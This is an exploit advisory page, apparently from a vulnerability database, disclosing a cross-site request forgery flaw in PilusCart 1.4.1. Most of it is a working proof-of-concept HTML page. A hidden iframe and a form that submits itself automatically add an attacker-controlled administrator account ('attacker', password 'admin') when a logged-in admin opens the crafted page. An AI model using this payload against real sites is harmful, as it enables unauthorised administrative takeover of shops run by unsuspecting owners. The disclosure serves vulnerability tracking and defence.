PilusCart 1.4.1 Cross Site Request Forgery

2019.03.13
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

# Exploit Title: PilusCart 1.4.1 - Cross-Site Request Forgery (Add Admin) # Google Dork: N/A # Date: 10-03-2019 # Exploit Author: Gionathan "John" Reale # Vendor Homepage: https://github.com/piluscart # Software Link: https://sourceforge.net/projects/pilus/files/PiLUS/1.4.1/PiLUS-1.4.1-Ubiungu-stable.zip/download # Version: 1.4.1 # Tested on: ParrotOS # CVE : N/A PilusCart 1.4.1 is vulnerable to CSRF attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), a form will be submitted that will add a new user as administrator. PoC: <html> <iframe style="width:0;height:0;border:0; border:none;" name="csrf-frame"></iframe> <form name="adduser" action="http://victim.com/cabin/index.php?module=users&action=newUser" method="post" target="csrf-frame"> <input type="submit"> <input type="hidden" name="admin_id" value=""> <input type="hidden" name="session_id" value=""> <input type="hidden" name="admin_login" value="attacker"> <input type="hidden" name="admin_fullname" value="attacker"> <input type="hidden" name="admin_email" value="admin@attacker.com"> <input type="hidden" name="admin_pass" value="admin"> <input type="hidden" name="confirm_pass" value="admin"> <input type="hidden" name="admin_level" value="admin"> <input type="hidden" name="admin_url" value=""> <input type="hidden" name="saveAdmin" value="Simpan"> </form> <script> document.forms.adduser.submit(); </script> </html>


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top